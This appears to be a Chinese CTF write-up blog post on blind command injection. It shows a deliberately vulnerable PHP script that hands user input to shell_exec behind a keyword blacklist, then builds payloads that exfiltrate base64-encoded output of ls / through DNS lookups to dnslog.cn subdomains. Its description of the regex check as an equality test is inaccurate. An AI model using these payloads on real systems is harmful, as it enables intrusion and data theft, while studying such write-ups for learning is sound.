DNSlog盲注
煤矿路口西 Lv4

DNSlog盲注

题目源码如下:

<?php
error_reporting(0);
if(isset($_GET["Ginkgo"])){
$c = $_GET["Ginkgo"];
if(!preg_match("/flag|wget|sleep|socket|sock|perl|ruby|curl|php/i", $c)){
shell_exec("ping -c 3 ".$c);
}

}else{
highlight_file(__FILE__);
}

?>

分析:

传入变量Ginkgo

赋值给变量c

判断变量c是否等于"/flag|wget|sleep|socket|sock|perl|ruby|curl|php/i"

若不一致则执行

ping -c 3 $c

简单学习了一下http://blog.merl1ng.cc/2018/03/02/dnslog%E5%88%A9%E7%94%A8/

在pdsdt师傅的指导下

简单捋了下最终需构造的命令如下

ping -c 3 `ls /|base64|head -n 1|cut -c 0-80`.DNSLog.cn

1)

为解决无法回显的问题,需要一个介质来接收返回的信息,

DNSLog.cn中Get SubDomain,

得到一个dnslog的子域名

在自身服务器中执行命令后

ping -c 3 6t775q.dnslog.cn

能在DNSLog的Refresh Record中看到自身的ip

这意味着咱们已经能够利用这种方式得到回显

2)

进一步构造

ping -c 3 `ls /`.bet8m1.dnslog.cn

空格问题需要绕过

ping -c 3 `ls /|base64`.bet8m1.dnslog.cn

但直接dump出来出现乱码

问题在于按行显示的格式问题

3)

https://www.runoob.com/linux/linux-comm-head.html?ivk_sa=1024320u

https://www.runoob.com/linux/linux-comm-cut.html

ping -c 3 `ls /|base64|head -n 1|cut -c 40-80`.bet8m1.dnslog.cn

截取第一行第40到80个字符,

注意字符的重复和替代情况

  • 本文标题:DNSlog盲注
  • 本文作者:煤矿路口西
  • 创建时间:2021-05-22 16:17:46
  • 本文链接:http://www.mklkx.xyz/2021/05/22/DNSlog盲注/
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!